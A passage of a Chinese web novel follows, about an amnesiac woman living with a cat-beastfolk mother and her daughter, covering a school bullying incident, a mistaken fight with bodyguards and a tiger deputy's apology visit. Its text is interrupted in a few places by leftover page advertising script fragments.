实不相瞒,她就从来没用过这种力量。 沈莫失已经解释过好几次自己不是这个世界上的人了,但是红雪就是不相信,她也只能无奈认下了失忆的土著这个身份,这时候也就不较真了。 “嗯嗯,没错,毕竟失忆了嘛,最开始我连自己是谁都不知道呢。” 猎刀投来隐晦的视线,沈莫失全当没看到。 红雪的加入大大提升了沈莫失研究的进度,毕竟很多常识性的问题在书里是不会有详细解释的。 这一天,又是红雪来配合她的研究。 她的手指在手臂上滑动模拟内力的线路,引导沈莫失学会如何调动内力。 “这是一种什么样的感觉呢?” 沈莫失隔着衣物捏捏红雪的手臂,从外面什么都感受不到。 “好像有一股气息从身体各处生长出来,从手心到胸口都能感受到那股力量,如果把它集中在某一个位置的话。” 红雪一边解说一边演示如何把内力汇聚到右手上,然后单手撑着桌子把自己提了起来。 “这一部位在短时间内就会变得更加有力,但是长时间不行,会感到头晕难受,所以大部分时候,都让这股力量平均分散在身体各处。” “哇哦……” 沈莫失晃动笔头敲击下巴,思索着这种超自然的力量。 “据说内力可以用来压制紊乱症,那么调用内力过头后的副作用难道就是紊乱症的前兆吗?可是内力平时都分散在身体各处,而紊乱症又是起源于大脑,它到底是怎么对紊乱症起作用的?” 有什么办法能够在不伤害人体的情况下探知到人体内部吗? 沈莫失觉得自己是了解过这么一种手段的,却因为失忆想不起来,脑袋空空的感觉实在是太讨厌了。 红雪耸耸肩,“我要是知道就好了。” 沈莫失直觉真相不是如此,但又思索不出个所以然来,果然还是要找个兽人来问问,如果去问猎刀的话,她会像红雪一样配合吗? 红雪见沈莫失又陷入了思索中,寻思着今天的“研究游戏”差不多就到这了,整理了下衣着准备离开。 脑袋里一堆乱七八糟问题的沈莫失目光没有焦距地看着红雪的方向,“咦,这是什么?” 沈莫失突然抓住红雪的手臂,靠近腕部的部位有块青紫的痕迹,凑近了撸起袖子一看,明显还有带血丝的抓痕。 猎刀应该不搞家暴这一套吧?回想了下猎刀令人堪忧的精神状态,沈莫失对此又有些不确定起来了。 红雪下意识想要收回手,却被沈莫失牢牢锁住了,“哎呀没什么的,不小心撞到了。” “不小心,你是把我当傻子忽悠?这可还有抓痕呢,难道是猎刀?” 沈莫失刨根问底,正常人都是会关心家里的幼崽的,红雪把她当崽也不妨碍沈莫失把红雪当幼崽对待,怎么会有自家幼崽被欺负了家长却不闻不问的事情呢。 “怎么会!”红雪瞪大了眼,这表情让沈莫失一下排除了一个错误选项。 红雪要负责家务,很少会出门玩,能接触到的人除了猎刀和她就是学校里的人了。 沈莫失松开手,任由红雪把手臂收了回去,掩在背后,“猎刀她知道这件事吗?” 红雪露出心虚的表情,耳朵也耷拉了下来,像是一只知道自己犯了错的小狗一般。 她实在是不会掩饰自己的情绪,“都说了是不小心……好吧,就是小孩子之间正常的打打闹闹。” 连妈妈架子都不摆了,看来是真的有问题,沈莫失一点都不信她。 “其他地方还有吗?” “没有了,就手腕上不小心碰到的。” 眼神乱晃,不用听就知道是在胡说。 沈莫失竖起食指晃了晃,眯起眼威胁她,“你要是不告诉我,我就去告诉猎刀去。” “别!”红雪很是慌乱地压下了沈莫失的手指,“告诉了她事情肯定就会闹大了。” “如果闹大了才能解决问题那么猎刀的做法倒也不错。”她两手抱胸,后仰靠在椅背上看着红雪。 “那不一样,你不了解她,她现在情绪很不稳定,说不定会直接去砍了人家。”红雪突然萎靡下来。 那其实她已经了解过了。 沈莫失回想了下上次在书房里和猎刀发生的对话,以猎刀的那种气势,如果她敢表现出一点对红雪不轨的想法,当时就得打一架。 她毫不怀疑猎刀是带着武器来的,即使没有武器,她的爪子也不是吃素的。 但她本以为猎刀的这一面是瞒着红雪的,没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想到红雪对此也不是一无所知。 也对,毕竟是朝夕相处了十年的母女,对自家妈妈是什么个脾气肯定也有所了解。 “你自己知道你对她有多重要,即使在情绪稳定的状态下,我也毫不怀疑猎刀会为了你动手的。” 猎刀身上有种割裂感。 可能是因为严重的紊乱症影响,也可能是出于一些沈莫失目前还不了解的原因。 虽然在日常生活中都能保持住那个温柔妈妈的形象,可一旦发生了超出幸福日常范畴的事件,就会像是完全变了一个人一般。 作为亲身体验过猎刀的威胁的人,她对此有着清晰的认知。 “我不想给你们添麻烦。” “你怎么会算是麻烦?” “我当然知道的,只是这件事,我觉得我可以自己解决。”红雪眼里流露出一抹冷光。 她确实是猎刀养大的孩子,沈莫失如此感叹道。 即使红雪不肯说,她多少也猜到了,无非就是小孩子的那些矛盾,直白又恶劣,看红雪现在坚定的表情,不像是被这些事情影响到的模样。 叹了口气,沈莫失也没再坚持,“确定是小孩子之间的打闹?” “不然呢?”红雪不以为意。 沈莫失暗想,真的还是个小孩子呢,要知道大人可是很可怕的。 “那好吧,你自己先试试,不过你必须把钥匙带上,就是你那个护身符。” 红雪不太乐意,“学校里不能带饰品的。” “什么时候这么乖了?再说你藏在口袋里不戴上,难道还会有人来抢你东西吗?” 沈莫失面露凶光,都能打人了,再抢东西好像也是可能发生的。 “那倒是没有……” 见沈莫失露出生气的神色,红雪默默哑了声,噘着嘴暗戳戳腹诽,没想到沈莫失生气起来和妈妈这么像,可怕可怕。 沈莫失仔仔细细把红雪检查了一遍。 其他地方虽然也有淤痕,但确实不严重,在小孩子磕磕碰碰的范围内,便像之前约定的那般暂时放任红雪自己去解决,暗中观察事态的变化。 事件的爆发起源于一次学校来电。 很是巧合,由于猎刀昨晚是夜班,今天可以休息一天,所以居家的沈莫失正好见证了这次通话。 即使已经在她面前暴露了本性,不过猎刀在家还是戴着友好的面具来对待沈莫失。 沈莫失也不戳穿,即使没有红雪在场,两人也相处得和谐友好——至少在邻居们面前都是这样的。 周围的邻居里有位马大妈格外特殊些。 据说她在十年前就帮扶过猎刀母女俩,猎刀现在工作的药店也是她家孩子的产业之一,所以猎刀和红雪对她格外敬重和感激。 她听闻猎刀一家捡了个新孩子回来,提着一篮子据说猎刀和红雪都爱的饼干来猎刀家做客。 长脸的马大妈抖着一对马耳朵,马尾散落在沙发一边,明里暗里地打探沈莫失的情况。 “唉,想当初,猎刀一个人带着孩子从那只臭蜥蜴的地方搬过来,当时真是不容易啊,天这么冷,母女俩差点没被饿死。” 多愁善感的马大妈还没套出多少沈莫失的信息,自己先漏了个干净。 不过这一点在邻居间似乎不是什么秘密,住得久些的都知道这些过去。 看着墙上挂着的红雪的照片,马大妈感叹道:“一眨眼,那个小娃娃都长这么大了。” 猎刀陪坐在她身边,一手搁在脸侧一同感慨,“是啊,时间过得可真快,居然已经过去十年了,小孩子都长大了。” 虽然已经看过很多次了,但是看到猫妈妈把厚实又软呼呼的肉垫搁在毛绒绒的脸侧的时候,沈莫失还是要下意识摸一摸鼻子,确认自己没有被萌出一脸的鼻血。 是的,她知道猎刀其实很犀利,但还是克制不住这一点。 那个糟糕的消息就是这时候被猎刀知晓的。 5. 血肠炖茄子粉条 沈莫失第一次看到那个可以握在手里与他人通讯的装置时,把它翻译为手机。 可后来发现通讯功能几乎是这个装置唯一的用处,便重新翻译为电话。 电话在这个世界上价格不算低廉,一家子只有猎刀有一个。 猎刀离席去接电话,留下僵硬微笑的沈莫失和不熟但热情的马大妈还坐在沙发上。 幸好这种情况并没有持续多久,猎刀很快发出一声惊叫吸引了沈莫失和马大妈的注意。 沙发上的两人对视一眼,麻溜地起身去找猎刀。 沈莫失注意到猎刀握着电话的手都在抖,但是瞄一眼猎刀的脸色,这肯定不是出于害怕,而是恨不得去砍人的愤怒。 猎刀眼睛里亮得几乎要喷出火来,胡须上翘,粗壮的尾巴一下一下地扫过地面。 刚才她看到了来电人的备注是某老师,估计是学校打来的电话,肯定是红雪那里闹出来的幺蛾子。 可她不是说要瞒着猎刀吗? “怎么了怎么了?”一无所知的马大妈上前安抚猎刀,担忧地在猎刀背后轻拍。 猎刀勉强压下了情绪,回复电话那头的老师,“好的,谢谢您,我这就赶去学校。” 挂断了电话,猎刀向马大妈解释说:“红雪在学校里和同学打了一架,没什么没大事,您先回去吧。” “诶,”马大妈放下心来,打架这种事情谁年轻时候没经历过。 “小孩子嘛是这样的,别对孩子发火,谁小时候不是这么过来的呢。” 沈莫失站在一边没说话,怕说多了露馅儿,她还是相信红雪的,再说了带着钥匙呢不至于出大事。 猎刀暂时也管不上沈莫失的反应,送走了马大妈就要直奔学校。 沈莫失眼疾手快地截下了猎刀想去拿刀的手,猎刀恨恨地瞪了眼陪笑脸的沈莫失,什么都没说,直接出了门。 学校距离家里的距离不远,很快,暴怒的猎刀就拎着蔫头耷脑的红雪回来了。 蔫耷耷的红雪苦着一张脸跪坐在客厅的地毯上,听着对面的猎刀数落她。 “真不知道你是胆儿肥了还是胆子小,有人打你你不知道打回去?” 猎刀反手抓起把扫帚握在手里挥舞。 红雪跪坐在地上都被吓得夹尾巴了,还挣扎着要扭动一下给自己解释,“我打不过他们嘛,兽人们一个个的熊劲。” “打不过你就告诉老师不行吗?” “那怎么行,这是小孩子之间的事情。” 告诉老师不得让你知道了,红雪目光游移就是不肯看猎刀一眼。 “呵呵,小孩子之间的事情,所以你干脆闹到领主跟前去了?”猎刀拿扫帚柄拍着手心作势要打她。 在一边吃瓜的沈莫失没看懂这是发生了什么,但还是上前劝阻猎刀,“打孩子总是不好的,有什么话好好说嘛。” 像是才意识到还有个沈莫失在场,猎刀勉强压下了火气给人作解释,“老师说了,有个熊孩子带着人欺负红雪,结果正巧被来视察的领主看到了。” 说着说着猎刀又生起气来,“你真是,我都不知道从哪开始说你!你以为自己装得很好吗?别人看不出来,我还不了解你是不是故意的。” 故意什么,因为打不过所以就故意把自己被欺负的场面捅出去? 沈莫失睨了眼底下心虚的红雪,这就是你的解决办法? 红雪注意到沈莫失的视线,隐晦地给她翻了个白眼,能解决问题不就好了,她也是不信妈妈敢在领主面前把那几个熊孩子撕了的。 “不管怎么样,能好好说还是好好说,实在不行我们再打孩子不是,你先冷静冷静。” 沈莫失挡在红雪身前,试图劝说住猎刀,虽然办法不太合适,但毕竟红雪也有自己的原因才选择了这个办法。 猎刀是什么人啊,之前是顾不上沈莫失,现在有空闲了,沈莫失又自己窜到她面前来,一寻思她之前的举动,越看越是可疑。 “你难不成……早就知道这件事了?” 猎刀怀疑的目光在沈莫失和红雪之间飘移。 沈莫失养气功夫到家一点儿不心虚,奈何红雪的眼神飘忽不定,小动作不断。 没半刻钟工夫,劝架的沈莫失和红雪一起跪下了,听着对面的猎刀数落她俩。 “有什么问题,难道还不能告诉妈妈吗?” 低头听了一阵子的训,红雪突然抬起头直视猎刀,“可是总有一天,我总归是要一个人解决问题的。” 语调不高,甚至还有些拖音,显得像是平常的撒娇一样。 话是没错,可这时候说这种话,你不要命了? 一旁的沈莫失惊讶地看了她一眼,没想到看到的是红雪与语调不同,无奈又冷静的表情。 更令人惊讶的是,絮絮叨叨了好久的猎刀一下子被止住了声,情绪迅速低落下来,压下了耳朵,眼眸低垂。 红雪看着猎刀这副模样又有些后悔说了那番话来,踌躇着想起身安慰猎刀。 猎刀低头沉默了一会儿,忽然用冷静又冷酷的语气宣布了一件事,“今晚我来负责做饭。” “啊?”红雪顾不上后悔的情绪,惊叫出声,一下子从跪坐状态弹射了起来。 “嗯?”沈莫失摸不着头脑,她虽然听红雪说过猎刀的厨艺不行这件事,但确实没有亲身体会过。 只是做饭罢了,再难吃又能难吃到什么程度呢? 沈莫失很快就会决定收回这句话的。 “天真……我之前真是太天真了。” 一脸菜色的沈莫失与红雪在餐桌上排排坐,看着面前的几道菜,该说幸好家里人少,所以菜色也少吗? 三菜一汤,各有各的特色。 “这是什么?” 指着一盘黑不拉几还带点紫的菜,沈莫失在失忆后第一次感受到了什么叫做害怕。 书房里那次如果猎刀是用这些来威胁她的,她说不定已经溜了。 猎刀看向沈莫失指着的那盘菜,“血肠炖茄子粉条。” 沈莫失捂住了嘴,那些扭曲的不明物体居然是粉条啊。 “那这又是什么?”沈莫失继续指向一盘绿到人发慌的菜。 猎刀笑得一脸和煦,耳朵一抖一抖显得格外可爱,可惜这时候的沈莫失没有那份心力去欣赏了,“尖椒炒蛋。” 对不起,但是在她的常识记忆里,蛋应该不至于是黑绿色的。 沈莫失敬畏地移开视线,“这个?” “口蘑炒橘子皮。” 这两样东西是怎么放到一起的? 沈莫失向猎刀投去恐惧的目光,这橘子皮看着就像是发了霉的树枝啊! 猎刀主动给沈莫失舀起一碗汤来,“还有虾仁鱿鱼紫薯莲子汤。” 沈莫失颤抖着手接过来,这碗汤的诡异颜色让她都没敢仔细瞧,这都是什么克家菜呀! “你说得对,”猎刀主动忏悔道,“孩子虽然有错,但也不应该粗暴地去打孩子。” “要不你还是打我一顿吧。”一边气若游丝的红雪喃喃道。 “yue。” 凌晨。 悄咪咪来客厅里吃饼干的沈莫失终于知道为什么红雪和猎刀都喜欢马大妈带来的普普通通的饼干了,也终于意识到为什么当初母女俩差点被饿死了。 “所以到底是发生了什么事情?”沈莫失询问狗狗祟祟蹲在一边啃饼干的红雪。 “那只熊想打我,我又打不过他,正好领主大人要来视察,我就激怒他在那边大喊大叫地骂我。” 红雪摇头晃尾巴一副得意的样子,“他真的是没脑子,一激就上当了。” “你不怕领主看出你的小算盘来吗?”沈莫失看她这块啃完了,又递过去一块。 “那又怎么样,他要打我的事情难道不是真的?难道她看到了装作没看到吗?” “你这么聪明,怎么会被人欺负的?” “哼,我不喜欢和傻子交朋友。”红雪一副毫不在意的模样,但是尾巴都不甩了。 沈莫失嘴里嚼着饼干,挑眉看她,没打算戳穿小孩子。 虽然家里开始不定时刷新各类克家菜,但是总算,这件事算是就这么过去了。 由领主的副手做中,红雪和猎刀在学校接受了熊孩子们和其家长的道歉。 红雪依旧正常地上下学,几个熊孩子转学了,事情闹到了领主面前,领主和副手都很生气,熊孩子们的家长估计也讨不了好。 虽然红雪和同学们的关系依旧不冷不热,但校长和老师们近期格外注重孩子们之间的交际问题。 她在这件事中也算是出了名了,没人敢惹她这个硬茬子。 一家人都以为这件事就这么过去了,大家回归以往再平凡不过的日常生活。 可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没想到有一天,红雪突然急匆匆地跑回了家,夹着尾巴气喘吁吁,额头上一圈冷汗,进门就找猎刀说道:“后面,好像有人跟着我。” 沈莫失听到动静从走廊里探出头来,“发生什么了?” “有好几个人,穿着黑色的衣服跟在我后面,个个又高又壮实。” 红雪露出后怕的表情,忍着眼泪说道:“我转了好久都没甩掉他们,只能先回家来。” 猎刀和沈莫失对视一眼。 猎刀听这阵仗,怀疑会不会是这人带来的仇家。 沈莫失觉得猎刀背景不简单,怀疑会不会是猎刀在外头的仇家找上门了。 两人默契一点头,自认为都与对方达成了共识。 虽然脑回路不同,不过结果殊途同归,两人都认为对一个小孩子下手,手段实在是下作,必须给个教训。 不确定这次的事件会不会涉及到沈莫失的身份,猎刀顾忌着没报管理局。 如果只有几个人自己应该也处理得来,就是毁尸灭迹可能麻烦了点,好多年不干这种事情。 这么想着的猎刀转身去找刀,这次沈莫失没再阻拦,“他们现在还在外面?” “应该是。”红雪扑到沈莫失怀里,抓着她的衣角不放手,控制不住地瑟瑟发抖。 小孩子虽然能处理好自己的事情,但是在面对未知的威胁时还是难免感到恐惧。 沈莫失怜爱地摸了一把狗头,转头就看到猎刀颤着胡须,气势汹汹地要出门。 猎刀本就因之前的霸凌事件余火未消,又碍于各种因素没法发火,这伙人可真是撞上好时候了。 “你们两个在家好好待着,知道了吗?”猎刀手指一点红雪,又移到沈莫失头上。 红雪耷拉着耳朵尾巴,窝在沈莫失怀里连连点头,沈莫失却说,“我和你一起去吧,不是说有好几个人吗?” 她从没看过猎刀动手的样子,虽然威胁人的时候气势很足,可这跟真的动手毕竟还是有区别,可别被对面伤到了。 被这么一提醒,红雪短暂忘却了自己的恐惧,竖起尾巴和沈莫失站到了一边,“是啊是啊,妈妈,我们一起去吧。” 猎刀一根手指就把凑过来的红雪怼了回去,“你别凑热闹。” “至于你?”猎刀嫌弃地把沈莫失从头打量到脚。 沈莫失举起拳头,“虽然不记得了,但我应该不是太弱。” “啧。”见红雪一副不答应就不放人的耍赖样子,猎刀勉强同意了沈莫失的随行,看她腿长,到时候跑路总是可以的,不至于连累到她。 叮嘱红雪反锁门窗待着别折腾,两人到楼下一看,虽然对面有所遮掩,还是一眼就被猎刀和沈莫失发觉了。 一旁的巷子里果然有那么几个可疑的壮硕黑衣人站在墙角,指着红雪家嘀嘀咕咕。 想到红雪刚才可怜兮兮的模样,猎刀眉头一皱怒上心头,撸起袖子就是开干。 对面的人见她这阵势,都是惊诧的模样。 领头那人举起双手像是想要解释些什么,不过猎刀没理她,举刀动作迅捷,大开大合的刀法一刀一个,用刀背将这群人砍倒在地。 沈莫失还没反应过来就看到对面已经倒了一地了,凑过去小声鼓掌表示惊叹,“哇哦。” 猎刀身姿笔挺地站在原地,俯视地面上蠕动着哀嚎的这群人。 她没有察觉到恶意才选择用的刀背,没想到对面甚至不反抗,战斗力也是出乎意料地弱。 这里面可能有些误会,不过把自家孩子吓唬成那样,被打一顿也是不亏待他们了。 “哼,不管你们是谁派来的,现在都给我滚!” 猎刀发泄了一番怒气,这时候心绪平和了些,用刀指着他们“耐心”地说话。 沈莫失心里赞一声酷啊,在一边充当小弟,“就是就是,欺负小孩子算什么本事,都滚。” 猎刀撇她一眼,不置可否,又把注意力放回这群黑衣人身上。 地上的这群人应该是想说话的,不过一出声带动了伤口就哎呦起来,最后勉强喊了几声“误会”就一个拖一个地搀扶着跑路了。 沈莫失差点被这群陌生的跟踪者逗笑了。 虽然他们来的目的好像和之前她们猜测的有所不同,但是不论如何,多亏了这群人,猎刀的心情明显轻松多了。 重要的是,今天有望告别克家菜啊! 6. 虎头虎脑 享用了一顿正常菜系的红雪一家人度过了愉快的一晚上。 考虑到红雪今天刚受惊,沈莫失难得地能够被允许参与到烹饪环节,并且在红雪紧张的注视下做出了一盘正常的番茄炒蛋。 可以看出猎刀给女孩留下了多大的心理阴影,吃到嘴里的那一刻红雪大大地松了口气。 沈莫失好笑地看着红雪夸张的反应,猎刀眼观鼻鼻观心当作无事发生。 第二天是休息日,三个人齐齐窝在家里不问世事。可偏偏不得安宁,来了个意料之外的客人。 “啊,你、您好,请问……”去应门的红雪有些无措地顿在原地。 听到红雪迟疑的问好声,以一种不健康却实在舒适的姿势瘫倒在沙发上的沈莫失探头观察情况。 门口站着一位身材高大的女士。 银白色长卷发,深蓝色眼睛,长相周正而又明艳,眼下部分带有明显的灰黑色斑纹,虽然是圆脸但是一眼看去十分地有攻击性。 衣着简单整洁,露出的手臂光是看着就知道壮实有力,带有纹路的虎尾友好地垂落在身后,气场十足。 这样的一个人站在门口,即使表现出友好的态度,也难免给人以威慑感。 沈莫失一个咸鱼挺身迅速恢复到了正常的站姿。 这位是她在这个世界上少数认识的几人之一了——从报纸上。 她经常能在陆岭领主出席各类活动的照片中看到这位女士,一般会站在领主身侧,是领地内众所周知的领主副手。 红雪家和这位副手唯一产生过的交集就是因为那几个熊孩子。 这位副手主持了两方的调解过程,后续也是她负责督促校方整治校园霸凌事件。 那次道歉现场沈莫失并没有出席,所以这是她第一次亲眼见到这位传说中的白虎副手。 看红雪那副紧张的样子,沈莫失估计这孩子已经在思考这几天猎刀有没有机会去刀了那几个熊孩子了。 不过很显然,猎刀没做过这些事。 奇怪地看了一眼结结巴巴的女儿,猎刀上前迎接了钟鹄女士。 沈莫失也凑上去揽住红雪,安抚近期频繁受到惊吓的女孩。 钟女士没急着进门,反而是在见到猎刀后一脸感慨地回忆起了过去,“上次见到你我就觉得你长得面熟,后来才想起来真的是你,你的变化可真大。” 猎刀没想到钟鹄会说出这番话来,欢迎的场面话也顿住了,迟疑地问道:“我们在之前有见过吗?” 对于猎刀对她没印象这件事,钟鹄一笑而过,“我是见过你的,只是你不知道我罢了。” 见猎刀还是一脸迷茫,钟鹄补充道:“已经是十年前的事情了,所以我才一时间没记起来。” 十年前? 沈莫失好奇地投去视线,红雪也探出头来,又被沈莫失揽了回去,气愤地捏了把沈莫失的手臂表示抗议。 听到这个时间节点,猎刀恍然大悟,胡须颤了颤,接着无所谓地摆摆手表示,“都已经是过去的事儿了,现在还是别再提了,您今天应该不是为了叙旧来的吧?” 见猎刀一副意兴阑珊的表情,钟鹄也就顺势翻篇,提起了自己这次来的真实目的,“这次说真的,是我这边不好,是专程来向你们道歉的。” 钟鹄侧身看向后方。 这次她并不是独自前来的,当然了像她这样的大人物出门有人跟随很正常,所以猎刀和沈莫失都没关注过她身后跟随着的随从或是保镖装扮的几人。 现在跟着钟鹄的视线看去,才发现各位保镖们拎着大包小包,有几人的样貌看着实在是熟悉。 那几人注意到沈莫失两人的视线,端正地向她们鞠躬致意。 沈莫失与猎刀快速交换了个眼神。 沈莫失轻推红雪的背,把她往屋内推去,“你先去做作业,这里有大人在。” 红雪不安地抬头看了眼沈莫失和猎刀,不太情愿地顺着背后的力道往里走,却被钟鹄拦下了。 “请稍等,我这次来的原因也与这位小朋友有关联,请留下吧。” 客人都这么说了,红雪摇摇尾巴,迅速转身抓住了沈莫失的衣摆不放,以实际行动表示自己想要留下的坚决意志。 “让客人站在门前总是不好的,还是先请进吧,有什么事我们进门慢慢说。” 既然自家孩子和贵客都是这么个意思,猎刀也就没勉强,邀请钟鹄一行人往里落座。 钟鹄却没有顺着猎刀的意思,反而后退了一步,在沈莫失与猎刀莫名的视线中,从高大并且四肢粗壮的保镖们身后拉出来一位虎头小妹妹。 接着才向猎刀点头致歉并往里走,“真是见笑了,这是小女钟欢。” 虎头妹妹钟欢低着头避开猎刀等人探究的视线,一爪被钟鹄抓着,另一只爪子僵硬地搁在身前,抓紧了自己的衣物。 沈莫失觉得这孩子要不是个兽人,说不定这时候脸都是通红的。 沈莫失和红雪向内避开,让客人进门。 两人与钟欢交错时,沈莫失突然感觉到了胸口钥匙在发烫,自从霸凌事件开始就随身带着护身符的红雪自然也感受到了。 她警觉地竖起耳朵,两人不约而同,惊讶地喊出一声,“啊!” 钟欢也感受到了异样,抬起那只抓着衣物的爪子,露出手腕上正在发光发热的手链来,没管得上难为情,疑惑地出声道:“啊?” 猎刀是知道有关钥匙碎片的事情的,家里的两个人没想过瞒着她,都跟她坦白过这件事。 不过她是没有随身携带的钥匙碎片的,最初没有反应过来。 在看到钟欢手腕上异常发光的手链时,她才明白女儿和沈莫失的奇特反应是因为什么,了然地感叹道:“啊……” 一向觉得事态发展尽在掌控,成竹在胸的钟鹄见到几人奇怪的反应,难得嗫喏了下,迟疑地吐出一句,“啊?” 红雪与钟欢两个小孩子虽然不知道事情为什么会发展成这个样子,不过看着大人们面面相觑的表情,还是没忍住一起笑出了声。 两小只见对方都没绷住,对视一眼后笑得更是停不下来。 孩子们的笑声打破了现场奇异的氛围。 沈莫失虽然也想跟着孩子们笑一场,不过显然想笑就笑只是孩子们的特权,大人还是要注重一下场合的。 她选择留到一个人回忆的时候再笑。 “看来我们需要解释的事情还有很多,总之,大家先坐吧。” 两方人终于在客厅落座。 由于场地限制,猎刀这边三人坐一个大沙发,另一个稍小些的留给了钟鹄钟欢母女,保镖和随从们只能从餐厅里拖来凳子暂坐。 沈莫失先向两人解释了发光手链的问题,掩去自己的来历后,只说是自己家传的特殊物件,因为意外遗失在外,自己正在想办法收集。 虽然不了解这个所谓的钥匙的附身机制,不过这毕竟是别人的家族机密,世界之大无奇不有,莫名其妙的高科技在垃圾星上不算奇闻,钟鹄没再多打听。 她面露了然地点点头,至少她听懂了沈莫失的暗示,示意女儿把手链递给沈莫失。 一旁坐着的钟欢有些不舍,毛绒绒的手指留恋地摸了摸手链才肯小心翼翼地拆下来递给沈莫失。 沈莫失接过手链,安抚小孩子,“放心吧,等我收回了碎片,手链还是那个手链,会原样还给你的。” 将手链与银环相碰,确认二者重新建立起了联系,沈莫失就把手链还给了钟欢。 钟欢喜笑颜开,又把手链戴了回 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 虽然女儿是兽人,母亲是半兽人,但还是可以看出两人的脸型很相像。 钟欢圆乎乎的一张脸,银白色毛发,浅蓝的眼睛,可能是因为年纪小,眼睛看着像是澄澈的天空,不像母亲的是,看着还没有那般的强攻击性,只是一团稚气。 沈莫失怎么看怎么喜欢,向钟鹄询问道:“这是孩子很珍惜的东西吗?” 钟鹄怜爱地摸了摸女儿的虎头,“是我送她的礼物,一个防身装置,不过做得精致了些,她就格外喜欢。” 钟欢蹭了蹭母亲的手,笑着什么都不说。 沈莫失看着感慨了一句,“那就不奇怪了,我这钥匙就是喜欢一些寄托了美好记忆的物品。” 她突发奇想,“不如就让这孩子带着我的钥匙如何?只是一块碎片,放在我这暂时也没什么用处,她带着还能保护保护她。” 钟鹄一看就很宝贝这位女儿,要专门给女儿准备保护装置一方面是关心女儿,另一方面也意味着这个小朋友可能会遇到一些危险。 她还挺喜欢这个小孩子,倒也不妨多关照一些,顺便增加一些遇到新钥匙的几率。 钟鹄一脸感激的样子,却是婉拒了。 “你看她这虎头虎脑的样子,我怕小孩子马虎弄丢了,这么重要的东西,之前不知道就算了,现在还是还给你保管的好。” 听到“虎头虎脑”这个形容,红雪在一边瞄着钟欢偷笑。 钟欢也一点不生气,这两小只自从在门口一起笑开了,就莫名多出些亲近感来,相处得比大人们之间自然多了。 沈莫失见钟鹄婉拒就想到了。 既然重视女儿,那也不可能让女儿身上带着不知名的东西,之前不知道就算了,既然知道了肯定是不会留的,便也放弃了之前的打算。 “那也好,不过她帮我保管了这么一阵子的钥匙,”沈莫失后一个问题直接问钟欢,“我有什么能帮到你的吗?” 钟欢澄澈的蓝眼睛一亮,几乎要从沙发上蹦起来,肉眼可见的激动与高兴,想要说些什么。 不过钟鹄还没忘记她们今天来的目的,没道理主动上门道歉却先让人家报答的,轻轻一个暴栗敲醒钟欢沉睡的心灵。 “对不起。”被妈妈提醒了的钟欢低眉顺眼地跟着钟鹄一起向红雪一家人道歉。 猎刀和沈莫失昨晚就猜到或许有些误会了,不过到现在才知道误会的来源。 猎刀心里暗忖,看来果真不是沈莫失引来的麻烦,误会她了。 沈莫失暗道,看来果然不是猎刀在外头引来的麻烦,误会人家了。 两人相视一笑,自认为都与对方解除了误会。 钟鹄为女儿解释道:“这孩子把我安排给她的保镖派去保护那位小朋友了,不过没有和那位小朋友商议过,这才闹出了误会,也惊吓到孩子了,都是我们这边的失误,还请你们谅解。” 保镖们闻声很有眼力见地起立,递出拎着的礼品。 对面态度实在诚恳,猎刀也不好不给面子,推拒道:“都是误会罢了,我们这边也不是没有过错,不分青红皂白就动手了,还要跟你们道歉呢,也没准备什么歉礼,请收回去吧。” “他们都没受什么伤,还要多谢你手下留情……再说起因在我们这边,怎么好意思让你们道歉,请收下吧,不是什么好东西,都是给孩子的。” 当家的两位妈妈齐齐起身互相劝说,两位女儿也跟着妈妈站起了身来,保镖们一脸热情地迎合着。 只剩沈莫失一个人还坐在沙发上。 她左看看右看看,干脆也陪大家站着,帮猎刀说几句场面话,心思却不在两边的礼节大战上,而是放了个耳朵去关注孩子们的悄悄话。 小孩子的话题可比大人们有趣多了。 7. 保镖们都受过严格的训练 两小只就不像大人们那么拘谨又客套,亲亲热热地凑到了一块儿,完全不像是第一次见面的样子。 “对不起啊,我不知道会吓到你的,我只是担心你被欺负。”钟欢比红雪高些,这时低着头凑在红雪的耳朵边说小话。 红雪毛绒绒的雪白耳朵抖了抖,“你怎么会觉得我会被欺负的?我们都不认识。” “你没见过我,我是来找过你的,你现在可出名了。”钟欢笑得一脸憨态,露出尖锐的牙齿。 “那和我被欺负有什么关系?”红雪没搞清楚这两者之间的关系。 “你之前不就被人欺负了?说是一只熊带着人欺负的你。” 红雪恍然大悟。 “你说的是那个傻子!也只有傻子才会直接动手了……反正我都不当回事的,而且你妈妈已经罚了他们,现在没人敢来欺负我了。” “可你一直是一个人……”钟欢皱起眉头,很是担心红雪。 “所以你才让保镖们跟着我,”红雪终于理解了事发原因,“是为了让我不是一个人回家吗?” 钟欢点了点虎头,“嗯,一个人很危险的,妈妈不让我一个人,就让保镖姐姐哥哥陪着我。” “所以你也让他们陪着我。”红雪捂嘴笑,尾巴一甩一甩,虽然自己也不知道这时候为什么要笑,可就是高兴,可能是在笑钟欢吧。 见红雪笑了,钟欢也跟着笑,重复道:“嗯!” “一个人回家的可不止我一个人,你难道让保镖们一个个跟过去吗?这可不好。” 红雪点了点钟欢粉嫩嫩的鼻头,“妈妈瘾”上来了教育人家。 “我很喜欢你,你的头发很好看,像雪一样白……” 两人的头越凑越近,声音也更低了。 被两小只治愈了一脸的沈莫失姨母笑听着两人继续说话。 说话的这阵子工夫,两位妈妈终于决出了胜负。 到底是钟鹄这边经验丰富并且人多势众,猎刀只有一个沈莫失帮衬,还神游天外去关注小孩子的悄悄话,不出所料地败下阵来。 保镖们将礼品搁置在客厅的角落,猎刀还在向钟鹄抱怨着:“哎呀,您可真是太客气了。” “别再说这样的话了。” 钟鹄笑意盈盈地摆手,打赢了大人之间的仗后,终于有精力来关注两小只。 本来大家都坐着,钟鹄卓越的身高并没有体现出太大的存在感,现在站起身来,她在两个孩子面前显得像个巨人一般。 见钟鹄望过来的视线,钟欢咧开嘴上前一步凑近妈妈。 而红雪则收敛了笑意,明显后退了一步,半掩在沈莫失身后。 见状,钟鹄尽量保持着柔和的笑意,半蹲下身,平视面前雪发的女孩。 “红雪小朋友,关于这件事情,你愿意原谅姐姐和阿姨吗?” 红雪下意识抬头去找沈莫失和猎刀。 沈莫失凑得近,拍了拍红雪的狗头。 